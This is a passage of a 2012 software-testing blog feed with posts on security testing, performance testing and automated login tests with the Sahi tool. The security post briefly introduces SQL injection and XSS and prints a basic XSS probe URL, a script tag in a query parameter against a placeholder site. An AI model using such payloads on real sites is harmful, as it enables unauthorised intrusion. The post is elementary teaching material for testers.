&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
After all, we have understood that hacking and security testing has thin line difference. security testing is to find out all vulnerable points. These points may use for hacking. By learning we have earned that fixation produces another security breach.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Application Security has various point of concern. However, right know we were just looking for business logic.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
There is two most famous attack are used by attacker first SQL Injection and second XSS.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;SQL Injection.&lt;/b&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
.SQL injection is a way to communicate database directly. However, it is just because the programmer doesn&#39;t focus at this. A simple escaping of SQL Statement stops the vulnerability.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Basic SQL injection can be done through URL. Try to find URL like given below. or User can directly insert SQL inject with filed.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
http://www.xyz.com/index.asp?id=123&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;b&gt;XSS. &lt;/b&gt;
&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
XSS Cross site scripting is another way to get control over. Javascript functions have power. This power of execution can be used to access the vital information of an application.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
cross-site scripting can be used at any place where user input is possible. the script can be written to get information.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
http://www.xyz.com/index.asp?id=&amp;lt;script&amp;gt;alert( document.forms[0].element[0]);&amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/2882803674616742315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/09/security-testing-from-start.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/2882803674616742315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/2882803674616742315'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/09/security-testing-from-start.html' title='SECURITY TESTING from Start'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUunQo9IBo2mg74WA2YjMlXtl_aNQCAcYqKbF8AGZztLel7-yzPJ9cYdQFIgm8kn0wMO2Lpj8Fv00u4OUC_mFWJtUxLqZxf3kChdxWpYCrUZQJZI1xtXp8SlGPWkyDlRzclAITQrabtlc/s72-c/Sec.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-6968207988114270155</id><published>2012-08-24T17:19:00.001+05:30</published><updated>2016-12-22T15:22:28.568+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Performance testing"/><title type='text'>Performance Testing</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;“Performance testing is the process by which software is tested to determine the current system performance. This process aims to gather information about current performance, but places no value judgements on the findings&quot;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;b&gt;Performance Tests&lt;/b&gt; are tests that determine an end to end timing of various time-critical business processes and transactions under a particular workload.&lt;br /&gt;
It can demonstrate that the system meets performance criteria&lt;br /&gt;
It can compare two systems to find which performs better&lt;br /&gt;
It can measure what parts of the system or workload cause the system to perform badly&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Performance criteria:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Most important for iterative testing.&lt;br /&gt;
Baseline (single user) for initial basis of comparison and ‘best&lt;br /&gt;
case’.&lt;br /&gt;
Benchmark (15-25% of expected user load) determines actual&lt;br /&gt;
state at loads expected to meet requirements&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Performance measures:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Speed&lt;br /&gt;
Scalability&lt;br /&gt;
Stability&lt;br /&gt;
Confidence&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Performance scenario:&lt;/b&gt;&lt;br /&gt;
The test scenario is based on the use of application, design and other constraints.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/6968207988114270155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/08/performance-testing.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/6968207988114270155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/6968207988114270155'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/08/performance-testing.html' title='Performance Testing'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-2309625388911834412</id><published>2012-08-21T11:58:00.000+05:30</published><updated>2012-08-21T11:58:40.165+05:30</updated><title type='text'>Automation with sahi</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;font-weight: normal; line-height: 105%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;i&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-weight: normal; line-height: 105%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;CENTER&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; margin-left: 0.75in; text-decoration: none; text-indent: -0.75in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: navy;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;An automated test is a program for testing other programs- Rex Black. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div align=&quot;CENTER&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; margin-left: 0.75in; text-decoration: none; text-indent: -0.75in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;use of software to control the execution of Application&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;comparison of actual outcomes to predicted outcomes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;setting up of  preconditions&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;other control and reporting functions&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; margin-left: 0.75in; text-decoration: none; text-indent: -0.75in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;CENTER&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; margin-left: 0.75in; text-decoration: none; text-indent: -0.75in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;line-height: 100%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt; &lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;i&gt;&lt;b&gt;Potential benefits of testing automation&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;CENTER&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; margin-left: 0.38in; text-decoration: none; text-indent: -0.38in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;a href=&quot;http://testingsaraswat.blogspot.in/2011/11/poem.html&quot; target=&quot;_blank&quot;&gt;Repetitive&lt;/a&gt; work is reduced (e.g., running regression tests, re-entering the same test data, and checking against coding standards)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;Greater consistency and repeatability (e.g., tests executed by a tool in the same order with the same frequency, and tests derived from requirements)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;Objective assessment (e.g., static measures, coverage)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;Ease of access to information about tests or testing (e.g., statistics and graphs about test progress, incident rates and performance)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;example of login test execution&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; margin-left: 0.75in; text-decoration: none; text-indent: -0.75in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_navigateTo(&quot;http://.................../&quot;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;var $p =0;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;function login($sn,$uname,$pwd)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;//Set userID&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_setValue(_textbox(&quot;ctl00\$MainContent\$txtUserName&quot;), $uname);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;//Set password&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_setValue(_password(&quot;MainContent_txtPassword&quot;), $pwd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;//Click login&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_click(_submit(&quot;ctl00\$MainContent\$btnSubmit&quot;));&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_click(_image(&quot;A1&quot;));&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_writeCSVFile($sn, &quot;../scripts/TestData/Login1.csv&quot;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_click(_link(&quot;Logout&quot;));&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;function call($j,$k)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;try&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;for (var $i=$k; $i&amp;lt;$j.length; $i++)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;var $row = $data[$i];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;login($row[0], $row[1], $row[2] );&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;} catch(e)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;_logExceptionAsFailure(e+$k)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;$k++;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;call($j,$k);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;var $data = _readCSVFile(&quot;../scripts/TestData/Login.csv&quot;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;call($data,$p);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Login.csv  template&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-style: normal; font-weight: normal; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: black; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Franklin Gothic Medium,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;sn,UID,PWd&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 92%; margin-bottom: 0in; text-decoration: none;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;font-style: normal; font-weight: normal; line-height: 105%; margin-top: 0.08in; text-decoration: none;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;script will execute  corresponding to Login.csv data entries. Pass Result will store in Login1.csv while log will contain errors&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/2309625388911834412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/08/automation-with-sahi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/2309625388911834412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/2309625388911834412'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/08/automation-with-sahi.html' title='Automation with sahi'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-176325382359418317</id><published>2012-08-06T17:44:00.003+05:30</published><updated>2012-08-18T18:15:27.202+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Performance testing"/><title type='text'>Performance testing at a glance</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Performance &lt;a href=&quot;http://prabhanshusaraswat.blog.com/&quot; target=&quot;_blank&quot;&gt;testing&lt;/a&gt; is used to provide an edge to application. Performance create a base line of effective use of application basis of time and response with effective use of available resource.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Questions Should ask first before Start a Performance testing.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;1. Is my Test Configuration (duration / iteration setting) appropriate ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;2. Does my web application function properly under given load ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;3. How many Virtual Users were generated by Load Generator ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;4. Does the response times meet my target requirements ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;5. What was the slowest page on my web site ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;6. What was the Page that had longest download time ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;7. How many simultaneous users can my web application handle ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;8. What is the load generated by the virtual users on the network resources ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;9. What is the Performance of my Server and Database during the load test ?&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
